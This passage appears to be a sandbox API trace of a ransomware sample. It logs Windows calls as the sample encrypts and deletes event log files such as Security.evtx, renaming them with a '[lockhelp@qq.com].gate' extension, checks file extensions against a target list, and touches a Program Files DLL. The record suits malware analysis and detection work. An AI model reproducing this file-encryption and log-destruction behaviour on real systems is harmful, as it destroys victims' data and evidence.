dwMoveMethod=0x3b3fec0 | out: lpNewFilePointer=0x0) returned 1 [0278.765] SetEndOfFile (hFile=0x448) returned 1 [0278.766] CloseHandle (hObject=0x448) returned 1 [0278.766] SetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-TerminalServices-LocalSessionManager%4Operational.evtx.id-B4197730.[lockhelp@qq.com].gate", dwFileAttributes=0x20) returned 1 [0278.766] DeleteFileW (lpFileName="C:\\Logs\\Microsoft-Windows-TerminalServices-LocalSessionManager%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-terminalservices-localsessionmanager%4operational.evtx")) returned 1 [0278.767] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-TerminalServices-LocalSessionManager%4Operational.evtx") returned 80 [0278.767] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-TerminalServices-LocalSessionManager%4Operational.evtx") returned 80 [0278.767] lstrlenW (lpString=".doc") returned 4 [0278.767] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1 [0278.767] lstrlenW (lpString=".docx") returned 5 [0278.767] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1 [0278.767] lstrlenW (lpString=".pdf") returned 4 [0278.767] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1 [0278.767] lstrlenW (lpString=".xls") returned 4 [0278.767] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1 [0278.767] lstrlenW (lpString=".xlsx") returned 5 [0278.767] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1 [0278.767] lstrlenW (lpString=".ppt") returned 4 [0278.767] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1 [0278.767] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-TerminalServices-LocalSessionManager%4Operational.evtx") returned 80 [0278.767] lstrlenW (lpString=".zip") returned 4 [0278.767] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1 [0278.767] lstrlenW (lpString=".rar") returned 4 [0278.767] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1 [0278.767] lstrlenW (lpString=".bz2") returned 4 [0278.767] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1 [0278.767] lstrlenW (lpString=".7z") returned 3 [0278.767] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1 [0278.767] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-TerminalServices-LocalSessionManager%4Operational.evtx") returned 80 [0278.768] lstrlenW (lpString=".dbf") returned 4 [0278.768] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1 [0278.768] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-TerminalServices-LocalSessionManager%4Operational.evtx") returned 80 [0278.768] lstrlenW (lpString=".1cd") returned 4 [0278.768] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1 [0278.768] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-TerminalServices-LocalSessionManager%4Operational.evtx") returned 80 [0278.768] lstrlenW (lpString=".jpg") returned 4 [0278.768] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1 [0278.768] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-TerminalServices-LocalSessionManager%4Operational.evtx") returned 80 [0278.768] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-TerminalServices-LocalSessionManager%4Operational.evtx") returned 80 [0278.768] lstrlenW (lpString=".doc") returned 4 [0278.768] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1 [0278.768] lstrlenW (lpString=".docx") returned 5 [0278.768] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1 [0278.768] lstrlenW (lpString=".pdf") returned 4 [0278.768] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1 [0278.768] lstrlenW (lpString=".xls") returned 4 [0278.768] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1 [0278.768] lstrlenW (lpString=".xlsx") returned 5 [0278.768] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1 [0278.768] lstrlenW (lpString=".ppt") returned 4 [0278.768] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1 [0278.768] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-TerminalServices-LocalSessionManager%4Operational.evtx") returned 80 [0278.768] lstrlenW (lpString=".zip") returned 4 [0278.768] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1 [0278.768] lstrlenW (lpString=".rar") returned 4 [0278.768] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1 [0278.768] lstrlenW (lpString=".bz2") returned 4 [0278.768] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1 [0278.768] lstrlenW (lpString=".7z") returned 3 [0278.768] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1 [0278.768] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-TerminalServices-LocalSessionManager%4Operational.evtx") returned 80 [0278.768] lstrlenW (lpString=".dbf") returned 4 [0278.768] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1 [0278.768] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-TerminalServices-LocalSessionManager%4Operational.evtx") returned 80 [0278.769] lstrlenW (lpString=".1cd") returned 4 [0278.769] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1 [0278.769] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-TerminalServices-LocalSessionManager%4Operational.evtx") returned 80 [0278.769] lstrlenW (lpString=".jpg") returned 4 [0278.769] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1 [0278.769] lstrcmpiW (lpString1=".evtx", lpString2=".gate") returned -1 [0278.769] lstrlenW (lpString="Microsoft-Windows-Windows Firewall With Advanced Security%4Firewall.evtx") returned 72 [0278.769] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-Windows Firewall With Advanced Security%4Firewall.evtx" (normalized: "c:\\logs\\microsoft-windows-windows firewall with advanced security%4firewall.evtx"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x448 [0278.769] GetFileSizeEx (in: hFile=0x448, lpFileSize=0x3b3ff14 | out: lpFileSize=0x3b3ff14*=1052672) returned 1 [0278.769] CloseHandle (hObject=0x448) returned 1 [0278.770] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-Windows Firewall With Advanced Security%4Firewall.evtx" (normalized: "c:\\logs\\microsoft-windows-windows firewall with advanced security%4firewall.evtx")) returned 0x20 [0278.770] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-Windows Firewall With Advanced Security%4Firewall.evtx.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\logs\\microsoft-windows-windows firewall with advanced security%4firewall.evtx.id-b4197730.[lockhelp@qq.com].gate")) returned 0xffffffff [0278.770] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-Windows Firewall With Advanced Security%4Firewall.evtx" (normalized: "c:\\logs\\microsoft-windows-windows firewall with advanced security%4firewall.evtx"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x448 [0278.770] SetFilePointerEx (in: hFile=0x448, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3b3fec0 | out: lpNewFilePointer=0x0) returned 1 [0278.770] SetFilePointerEx (in: hFile=0x448, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3b3fec0 | out: lpNewFilePointer=0x0) returned 1 [0278.770] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-Windows Firewall With Advanced Security%4Firewall.evtx.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\logs\\microsoft-windows-windows firewall with advanced security%4firewall.evtx.id-b4197730.[lockhelp@qq.com].gate"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x408 [0278.771] GetLastError () returned 0x0 [0278.771] ReadFile (in: hFile=0x448, lpBuffer=0x46fd020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3b3fecc, lpOverlapped=0x0 | out: lpBuffer=0x46fd020*, lpNumberOfBytesRead=0x3b3fecc*=0xffff0, lpOverlapped=0x0) returned 1 [0278.894] WriteFile (in: hFile=0x408, lpBuffer=0x46fd020*, nNumberOfBytesToWrite=0xffff0, lpNumberOfBytesWritten=0x3b3fc94, lpOverlapped=0x0 | out: lpBuffer=0x46fd020*, lpNumberOfBytesWritten=0x3b3fc94*=0xffff0, lpOverlapped=0x0) returned 1 [0278.908] ReadFile (in: hFile=0x448, lpBuffer=0x46fd020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3b3fecc, lpOverlapped=0x0 | out: lpBuffer=0x46fd020*, lpNumberOfBytesRead=0x3b3fecc*=0x1010, lpOverlapped=0x0) returned 1 [0278.916] WriteFile (in: hFile=0x408, lpBuffer=0x46fd020*, nNumberOfBytesToWrite=0x1020, lpNumberOfBytesWritten=0x3b3fc94, lpOverlapped=0x0 | out: lpBuffer=0x46fd020*, lpNumberOfBytesWritten=0x3b3fc94*=0x1020, lpOverlapped=0x0) returned 1 [0278.919] ReadFile (in: hFile=0x448, lpBuffer=0x46fd020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3b3fecc, lpOverlapped=0x0 | out: lpBuffer=0x46fd020*, lpNumberOfBytesRead=0x3b3fecc*=0x0, lpOverlapped=0x0) returned 1 [0278.919] WriteFile (in: hFile=0x408, lpBuffer=0x46fd020*, nNumberOfBytesToWrite=0x164, lpNumberOfBytesWritten=0x3b3fc94, lpOverlapped=0x0 | out: lpBuffer=0x46fd020*, lpNumberOfBytesWritten=0x3b3fc94*=0x164, lpOverlapped=0x0) returned 1 [0278.919] SetEndOfFile (hFile=0x408) returned 1 [0279.257] CloseHandle (hObject=0x408) returned 1 [0279.272] SetFilePointerEx (in: hFile=0x448, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3b3fec0 | out: lpNewFilePointer=0x0) returned 1 [0279.272] SetEndOfFile (hFile=0x448) returned 1 [0279.273] CloseHandle (hObject=0x448) returned 1 [0279.273] SetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-Windows Firewall With Advanced Security%4Firewall.evtx.id-B4197730.[lockhelp@qq.com].gate", dwFileAttributes=0x20) returned 1 [0279.273] DeleteFileW (lpFileName="C:\\Logs\\Microsoft-Windows-Windows Firewall With Advanced Security%4Firewall.evtx" (normalized: "c:\\logs\\microsoft-windows-windows firewall with advanced security%4firewall.evtx")) returned 1 [0279.273] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Windows Firewall With Advanced Security%4Firewall.evtx") returned 80 [0279.274] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Windows Firewall With Advanced Security%4Firewall.evtx") returned 80 [0279.274] lstrlenW (lpString=".doc") returned 4 [0279.274] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1 [0279.274] lstrlenW (lpString=".docx") returned 5 [0279.274] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1 [0279.274] lstrlenW (lpString=".pdf") returned 4 [0279.274] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1 [0279.274] lstrlenW (lpString=".xls") returned 4 [0279.274] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1 [0279.274] lstrlenW (lpString=".xlsx") returned 5 [0279.274] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1 [0279.274] lstrlenW (lpString=".ppt") returned 4 [0279.274] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1 [0279.274] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Windows Firewall With Advanced Security%4Firewall.evtx") returned 80 [0279.274] lstrlenW (lpString=".zip") returned 4 [0279.274] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1 [0279.274] lstrlenW (lpString=".rar") returned 4 [0279.274] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1 [0279.274] lstrlenW (lpString=".bz2") returned 4 [0279.274] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1 [0279.274] lstrlenW (lpString=".7z") returned 3 [0279.274] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1 [0279.274] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Windows Firewall With Advanced Security%4Firewall.evtx") returned 80 [0279.274] lstrlenW (lpString=".dbf") returned 4 [0279.274] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1 [0279.274] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Windows Firewall With Advanced Security%4Firewall.evtx") returned 80 [0279.274] lstrlenW (lpString=".1cd") returned 4 [0279.274] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1 [0279.274] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Windows Firewall With Advanced Security%4Firewall.evtx") returned 80 [0279.274] lstrlenW (lpString=".jpg") returned 4 [0279.274] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1 [0279.274] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Windows Firewall With Advanced Security%4Firewall.evtx") returned 80 [0279.274] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Windows Firewall With Advanced Security%4Firewall.evtx") returned 80 [0279.275] lstrlenW (lpString=".doc") returned 4 [0279.275] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1 [0279.275] lstrlenW (lpString=".docx") returned 5 [0279.275] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1 [0279.275] lstrlenW (lpString=".pdf") returned 4 [0279.275] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1 [0279.275] lstrlenW (lpString=".xls") returned 4 [0279.275] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1 [0279.275] lstrlenW (lpString=".xlsx") returned 5 [0279.275] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1 [0279.275] lstrlenW (lpString=".ppt") returned 4 [0279.275] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1 [0279.275] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Windows Firewall With Advanced Security%4Firewall.evtx") returned 80 [0279.275] lstrlenW (lpString=".zip") returned 4 [0279.275] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1 [0279.275] lstrlenW (lpString=".rar") returned 4 [0279.275] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1 [0279.275] lstrlenW (lpString=".bz2") returned 4 [0279.275] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1 [0279.275] lstrlenW (lpString=".7z") returned 3 [0279.275] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1 [0279.275] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Windows Firewall With Advanced Security%4Firewall.evtx") returned 80 [0279.275] lstrlenW (lpString=".dbf") returned 4 [0279.275] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1 [0279.275] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Windows Firewall With Advanced Security%4Firewall.evtx") returned 80 [0279.275] lstrlenW (lpString=".1cd") returned 4 [0279.275] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1 [0279.275] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Windows Firewall With Advanced Security%4Firewall.evtx") returned 80 [0279.275] lstrlenW (lpString=".jpg") returned 4 [0279.275] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1 [0279.276] lstrcmpiW (lpString1=".evtx", lpString2=".gate") returned -1 [0279.276] lstrlenW (lpString="Security.evtx") returned 13 [0279.276] CreateFileW (lpFileName="C:\\Logs\\Security.evtx" (normalized: "c:\\logs\\security.evtx"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x448 [0279.276] GetFileSizeEx (in: hFile=0x448, lpFileSize=0x3b3ff14 | out: lpFileSize=0x3b3ff14*=1118208) returned 1 [0279.276] CloseHandle (hObject=0x448) returned 1 [0279.276] GetFileAttributesW (lpFileName="C:\\Logs\\Security.evtx" (normalized: "c:\\logs\\security.evtx")) returned 0x20 [0279.276] GetFileAttributesW (lpFileName="C:\\Logs\\Security.evtx.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\logs\\security.evtx.id-b4197730.[lockhelp@qq.com].gate")) returned 0xffffffff [0279.276] CreateFileW (lpFileName="C:\\Logs\\Security.evtx" (normalized: "c:\\logs\\security.evtx"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x448 [0279.276] SetFilePointerEx (in: hFile=0x448, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3b3fec0 | out: lpNewFilePointer=0x0) returned 1 [0279.276] SetFilePointerEx (in: hFile=0x448, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3b3fec0 | out: lpNewFilePointer=0x0) returned 1 [0279.276] CreateFileW (lpFileName="C:\\Logs\\Security.evtx.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\logs\\security.evtx.id-b4197730.[lockhelp@qq.com].gate"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x408 [0279.277] GetLastError () returned 0x0 [0279.277] ReadFile (in: hFile=0x448, lpBuffer=0x46fd020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3b3fecc, lpOverlapped=0x0 | out: lpBuffer=0x46fd020*, lpNumberOfBytesRead=0x3b3fecc*=0xffff0, lpOverlapped=0x0) returned 1 [0279.420] WriteFile (in: hFile=0x408, lpBuffer=0x46fd020*, nNumberOfBytesToWrite=0xffff0, lpNumberOfBytesWritten=0x3b3fc94, lpOverlapped=0x0 | out: lpBuffer=0x46fd020*, lpNumberOfBytesWritten=0x3b3fc94*=0xffff0, lpOverlapped=0x0) returned 1 [0279.434] ReadFile (in: hFile=0x448, lpBuffer=0x46fd020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3b3fecc, lpOverlapped=0x0 | out: lpBuffer=0x46fd020*, lpNumberOfBytesRead=0x3b3fecc*=0x11010, lpOverlapped=0x0) returned 1 [0279.442] WriteFile (in: hFile=0x408, lpBuffer=0x46fd020*, nNumberOfBytesToWrite=0x11020, lpNumberOfBytesWritten=0x3b3fc94, lpOverlapped=0x0 | out: lpBuffer=0x46fd020*, lpNumberOfBytesWritten=0x3b3fc94*=0x11020, lpOverlapped=0x0) returned 1 [0279.445] ReadFile (in: hFile=0x448, lpBuffer=0x46fd020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3b3fecc, lpOverlapped=0x0 | out: lpBuffer=0x46fd020*, lpNumberOfBytesRead=0x3b3fecc*=0x0, lpOverlapped=0x0) returned 1 [0279.445] WriteFile (in: hFile=0x408, lpBuffer=0x46fd020*, nNumberOfBytesToWrite=0xee, lpNumberOfBytesWritten=0x3b3fc94, lpOverlapped=0x0 | out: lpBuffer=0x46fd020*, lpNumberOfBytesWritten=0x3b3fc94*=0xee, lpOverlapped=0x0) returned 1 [0279.445] SetEndOfFile (hFile=0x408) returned 1 [0279.445] CloseHandle (hObject=0x408) returned 1 [0279.670] SetFilePointerEx (in: hFile=0x448, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3b3fec0 | out: lpNewFilePointer=0x0) returned 1 [0279.670] SetEndOfFile (hFile=0x448) returned 1 [0279.671] CloseHandle (hObject=0x448) returned 1 [0279.671] SetFileAttributesW (lpFileName="C:\\Logs\\Security.evtx.id-B4197730.[lockhelp@qq.com].gate", dwFileAttributes=0x20) returned 1 [0279.672] DeleteFileW (lpFileName="C:\\Logs\\Security.evtx" (normalized: "c:\\logs\\security.evtx")) returned 1 [0279.672] lstrlenW (lpString="C:\\Logs\\Security.evtx") returned 21 [0279.672] lstrlenW (lpString="C:\\Logs\\Security.evtx") returned 21 [0279.672] lstrlenW (lpString=".doc") returned 4 [0279.672] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1 [0279.672] lstrlenW (lpString=".docx") returned 5 [0279.672] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1 [0279.672] lstrlenW (lpString=".pdf") returned 4 [0279.672] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1 [0279.672] lstrlenW (lpString=".xls") returned 4 [0279.672] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1 [0279.672] lstrlenW (lpString=".xlsx") returned 5 [0279.672] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1 [0279.672] lstrlenW (lpString=".ppt") returned 4 [0279.672] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1 [0279.672] lstrlenW (lpString="C:\\Logs\\Security.evtx") returned 21 [0279.672] lstrlenW (lpString=".zip") returned 4 [0279.672] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1 [0279.672] lstrlenW (lpString=".rar") returned 4 [0279.672] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1 [0279.672] lstrlenW (lpString=".bz2") returned 4 [0279.673] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1 [0279.673] lstrlenW (lpString=".7z") returned 3 [0279.673] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1 [0279.673] lstrlenW (lpString="C:\\Logs\\Security.evtx") returned 21 [0279.673] lstrlenW (lpString=".dbf") returned 4 [0279.673] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1 [0279.673] lstrlenW (lpString="C:\\Logs\\Security.evtx") returned 21 [0279.673] lstrlenW (lpString=".1cd") returned 4 [0279.673] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1 [0279.673] lstrlenW (lpString="C:\\Logs\\Security.evtx") returned 21 [0279.673] lstrlenW (lpString=".jpg") returned 4 [0279.673] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1 [0279.673] lstrlenW (lpString="C:\\Logs\\Security.evtx") returned 21 [0279.673] lstrlenW (lpString="C:\\Logs\\Security.evtx") returned 21 [0279.673] lstrlenW (lpString=".doc") returned 4 [0279.673] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1 [0279.673] lstrlenW (lpString=".docx") returned 5 [0279.673] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1 [0279.673] lstrlenW (lpString=".pdf") returned 4 [0279.673] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1 [0279.673] lstrlenW (lpString=".xls") returned 4 [0279.673] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1 [0279.673] lstrlenW (lpString=".xlsx") returned 5 [0279.673] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1 [0279.673] lstrlenW (lpString=".ppt") returned 4 [0279.673] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1 [0279.673] lstrlenW (lpString="C:\\Logs\\Security.evtx") returned 21 [0279.673] lstrlenW (lpString=".zip") returned 4 [0279.673] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1 [0279.673] lstrlenW (lpString=".rar") returned 4 [0279.673] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1 [0279.673] lstrlenW (lpString=".bz2") returned 4 [0279.673] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1 [0279.673] lstrlenW (lpString=".7z") returned 3 [0279.674] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1 [0279.674] lstrlenW (lpString="C:\\Logs\\Security.evtx") returned 21 [0279.674] lstrlenW (lpString=".dbf") returned 4 [0279.674] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1 [0279.674] lstrlenW (lpString="C:\\Logs\\Security.evtx") returned 21 [0279.674] lstrlenW (lpString=".1cd") returned 4 [0279.674] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1 [0279.674] lstrlenW (lpString="C:\\Logs\\Security.evtx") returned 21 [0279.674] lstrlenW (lpString=".jpg") returned 4 [0279.674] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1 [0279.674] lstrcmpiW (lpString1=".dll", lpString2=".gate") returned -1 [0279.674] lstrlenW (lpString="api-ms-win-core-file-l1-2-0.dll") returned 31 [0279.674] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-core-file-l1-2-0.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-core-file-l1-2-0.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x448 [0279.675] GetFileSizeEx (in: hFile=0x448, lpFileSize=0x3b3ff14 | out: lpFileSize=0x3b3ff14*=18624) returned 1 [0279.675] CloseHandle (hObject=0x448) returned 1 [0279.676] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-core-file-l1-2-0.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-core-file-l1-2-0.dll")) returned 0x20 [0279.676] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-core-file-l1-2-0.dll.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-core-file-l1-2-0.dll.id-b4197730.[lockhelp@qq.com].gate")) returned 0xffffffff [0279.676] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-core-file-l1-2-0.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-core-file-l1-2-0.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0279.676] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-core-file-l1-2-0.dll") returned 89 [0279.676] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-core-file-l1-2-0.dll") returned 89 [0279.676] lstrlenW (lpString=".doc") returned 4 [0279.676] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0279.676] lstrlenW (lpString=".docx") returned 5 [0279.676] lstrcmpiW (lpString1=".docx", lpString2="0.dll") returned -1 [0279.676] lstrlenW (lpString=".pdf") returned 4 [0279.676] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0279.676] lstrlenW (lpString=".xls") returned 4 [0279.676] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0279.676] lstrlenW (lpString=".xlsx") returned 5 [0279.676] lstrcmpiW (lpString1=".xlsx", lpString2="0.dll") returned -1 [0279.676] lstrlenW (lpString=".ppt") returned 4 [0279.676] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0279.676] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-core-file-l1-2-0.dll") returned 89 [0279.676] lstrlenW (lpString=".zip") returned 4 [0279.676] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0279.676] lstrlenW (lpString=".rar") returned 4 [0279.676] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0279.676] lstrlenW (lpString=".bz2") returned 4 [0279.677] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0279.677] lstrlenW (lpString=".7z") returned 3 [0279.677] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0279.677] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-core-file-l1-2-0.dll") returned 89 [0279.677] lstrlenW (lpString=".dbf") returned 4 [0279.677] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0279.677] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-core-file-l1-2-0.dll") returned 89 [0279.677] lstrlenW (lpString=".1cd") returned 4 [0279.677] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0279.677] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-core-file-l1-2-0.dll") returned 89 [0279.677] lstrlenW (lpString=".jpg") returned 4 [0279.677] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0279.677] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-core-file-l1-2-0.dll") returned 89 [0279.677] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-core-file-l1-2-0.dll") returned 89 [0279.677] lstrlenW (lpString=".doc") returned 4 [0279.677] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0279.677] lstrlenW (lpString=".docx") returned 5 [0279.677] lstrcmpiW (lpString1=".docx", lpString2="0.dll") returned -1 [0279.677] lstrlenW (lpString=".pdf") returned 4 [0279.677] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0279.677] 